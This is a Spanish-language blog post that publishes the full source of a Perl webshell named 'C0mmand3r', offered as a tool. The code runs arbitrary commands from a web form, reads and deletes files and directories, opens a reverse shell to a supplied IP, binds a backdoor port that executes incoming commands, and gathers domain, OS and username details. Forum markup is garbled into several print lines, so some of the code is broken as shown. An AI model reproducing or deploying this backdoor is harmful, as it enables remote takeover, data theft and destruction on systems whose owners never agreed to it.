[Perl] Commander webserver en perl

Bueno este programa es un webserver en perl con la siguientes opciones

* Listar directorios
* Ver archivos
* Borrar directorios y archivos
* ReverseShell
* BindPort


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
!usr/bin/perl
#
#C0mmand3r (C) Doddy HAckman 2011
#Version 0.1
#
#A simple WebShell in Perl
#
#
 
use IO::Socket;
use CGI;
use Cwd;
use HTML::Entities;
use URI::Escape;
use Win32;
use Net::hostent; 
 
my $port = rep();
 
sub rep {
unless($ARGV[0]) {
return int("666"); #Your Can Edit 666
} else {
return int($ARGV[0]);
}
}
 
print "\n\n#########################################\n\n";
print "C0mmand3r (C) Doddy HAckman 2011\n\n\n";
print "<ul class="bbc_list"><li type="square"> Starting the webshell on port $port\n\n";[/li][/list]
print "#########################################\n\n";
 
 
my $sock = new IO::Socket::INET(
LocalHost => 'localhost',
LocalPort => $port,
Proto     => 'tcp',
Listen    => SOMAXCONN,
Reuse     => 1);
 
 
while ($jebus = $sock->accept()) {
 
 
print $jebus "HTTP/1.1 200/OK\r\nContent-type:text/html\r\n\r\n";
#print $jebus "HTTP/1.1 200/OK\r\nContent-type:application/w-www-form-urlencoded\r\n\r\n";
next if $slave=fork;
 
close $sock;
 
while ($response = <$jebus>) {
 
chomp($response);
 
my %rta;
 
 
if ($response=~/GET/ig) {
capturar($response);
}
 
 
sub capturar {
my $aa = shift;
chomp $aa;
if ($aa=~/GET \/(.*) HTTP\/1.1/ig) {
my $todo = $1;
if ($todo=~/\?(.*)=(.*)&(.*)=(.*)/ig) {
$rta{$1} = $2;
$rta{$3} = $4;
}
if ($todo=~/\?(.*)=(.*)/ig) {
$rta{$1} = $2;
} 
}
 
 
}
 
print $jebus "
 
<html><body><title>Commander (C) Doddy Hackman 2011</title>
 
<style type=text/css>
 
.main {
margin         : -287px 0px 0px -490px;
border         : White solid 1px;
BORDER-COLOR: cyan;
}
 
 
#pie {
position: absolute;
bottom: 0;
}
 
body,a:link {
background-color: #000000;
color:cyan;
Courier New;
cursor:crosshair;
font-size: small;
}
 
input,table.outset,table.bord,table,textarea,select {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:cyan; 
border: solid 1px cyan;
border-color:cyan
}
 
a:link,a:visited,a:active {
color: cyan;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}
 
</style>
 
 
<h2><center>Commander WebShell</center></h2>
 
";
 
 
if ($rta{'loadfile'}) {
 
my $file = uri_unescape($rta{'loadfile'});
 
 
print $jebus "<br><h2><center>File ".$file."</h2></center><br><br>";
 
if (-f $file) {
 
print $jebus "<center><textarea name=codefile cols=70 rows=70>";
 
open (FILE,$file);
@words = <FILE>;
close FILE;
 
for (@words) {
print $jebus HTML::Entities::encode($_);
}
print $jebus "
</textarea></center>
</center><br><br>
</form>
";
 
exit(1);
}
}
 
print $jebus "
<br><br>
<b>Console</b>
<br><br>
<fieldset>";
 
 
if ($rta{'cmd'}) {
print $jebus qx($rta{'cmd'});
}
 
 
elsif ($rta{'loadir'}) {
my $dir = uri_unescape($rta{'loadir'});
print "recibi $dir\n\n";
if (-d $dir) {
opendir DIR,$dir;
my @archivos = readdir DIR;
close DIR;
 
for(@archivos) {
 
if (-d $_) {
print $jebus "<b>".$_."</b><br>";    
} else {
print $jebus $_."<br>";
}}}}
 
elsif ($rta{'delfile'}) {
 
my $file = uri_unescape($rta{'delfile'});
 
 
if (-f $file) {
 
if (unlink($file)) {
print $jebus "<script>alert('File Deleted');</script>";
} else {
print $jebus "<script>alert('Error');</script>";
}
}
}
 
elsif ($rta{'deldir'}) {
 
my $dir = uri_unescape($rta{'deldir'});
 
if (-d $dir) {
if (rmdir($dir)) {
print $jebus "<script>alert('Directory Deleted');</script>";
} else {
print $jebus "<script>alert('Error');</script>";
}
}
}
 
elsif ($rta{'ipconnect'}) {
print $rta{'ipconnect'}."\n";
print $rta{'port'}."\n";
conectar($rta{'ipconnect'},$rta{'port'});
tipo();
 
sub conectar {
socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
open (STDIN,">&REVERSE");
open (STDOUT,">&REVERSE");
open (STDERR,">&REVERSE");
}
 
sub tipo {
print "\n</li><li type="disc"> Reverse Shell Starting...\n\n";[/li][/list]
if ($^O =~/Win32/ig) {
infowin();
system("cmd.exe");
} else {
infolinux();
#root();  
system("export TERM=xterm;exec sh -i");
}
}
 
sub infowin {
print "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list]
print "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list]
print "</li><li type="square"> Username : ".Win32::LoginName()."\n\n\n";[/li][/list]
}
 
sub infolinux {
print "</li><li type="square"> System information\n\n";[/li][/list]
system("uname -a");
print "\n\n";
}
}
 
elsif($rta{'portbind'}) {
 
$backdoor = IO::Socket::INET->new(
Proto     => 'tcp',
LocalPort => $rta{'portbind'},
Listen    => SOMAXC,
Reuse     => 1);
 
 
while ($jesus = $backdoor->accept()) {
$jesus->autoflush(1);
print $jesus "</li><li type="disc"> Heaven_Door Online\n</li><li type="disc"> Port : 25256\n</li><li type="disc"> PID : ".$$."\n\n";[/li][/list]
print $jesus "Welcome  ".$jesus->peerhost."\n\n";
&extras;
$dir = getcwd();
print $jesus $dir.">>";
while (<$jesus>) {
my $yeah = qx($_);
print $jesus "\n\n".$yeah."\n\n";
print $jesus $dir.">>";
}
}
 
sub extras {
 
if ($^O =~//ig) {
print $jesus "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list]
print $jesus "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list]
print $jesus "</li><li type="square"> Username : ".Win32::LoginName()."\n\n\n";[/li][/list]
} else {
$s =  qx("uname -a");
print $jesus "--==System Info==--\n\n".$s;
}
}
} else {
 
opendir DIR,getcwd();
my @archivos = readdir DIR;
close DIR;
 
for(@archivos) {
if (-d $_) {
print $jebus "<b>".$_."</b><br>";    
} else {
print $jebus $_."<br>";
}}
 
}
 
print $jebus "</fieldset>
<br><br>
<form action='' method=GET>
<b>Command</b> : <input type=text name=cmd size=100 value=ver><input type=submit value=Send><br>
</form>
<form action='' method=GET>
<B>Load directory</B> : <input type=text size=100 name=loadir value=".getcwd()."><input type=submit value=Load>
</form>
<form action='' method=GET>
<b>Load File</b> : <input type=text size=100 name=loadfile value=".getcwd()."><input type=submit value=Load>
</form>
<form action='' method=GET>
<b>Delete File</b> : <input type=text size=100 name=delfile value=".getcwd()."><input type=submit value=Del>
</form>
<form action='' method=GET>
<b>Delete Directory</b> : <input type=text size=100 name=deldir><input type=submit value=Del>
</form>
<br><br><b>ReverseShell</b><br><br>
<form action='' method=GET>
<b>Your IP</B> : <input type=text name=ipconnect value=localhost><br>
<b>Port</b> : <input type=text name=port value=666><br>
<br><input type=submit value=Connect></form><br><br>
 
<b>BindPort</b><br><br>
<form action='' method=GET>
<b>Port</b> : <input type=text name=portbind value=666><br>
<br><input type=submit value=Bind></form><br><br>
 
 
</body></html>
";
 
$jebus->close;
   
}
      
} continue {
$jebus->close;
}
 
# ¿ The End ?  
 

0 comentarios: sobre [Perl] Commander webserver en perl

Publicar un comentario para [Perl] Commander webserver en perl

:a   :b   :c   :d   :e   :f   :g   :h   :i   :j   :k   :l   :m   :n   :o   :p   :q   :r   :s   :t

Calculando Tiempo
Alienspace Theme © Copyright 2017 By Proxor
Mi Ping en TotalPing.com FeedBurner FeedBurner FeedBurner FeedBurner FeedBurner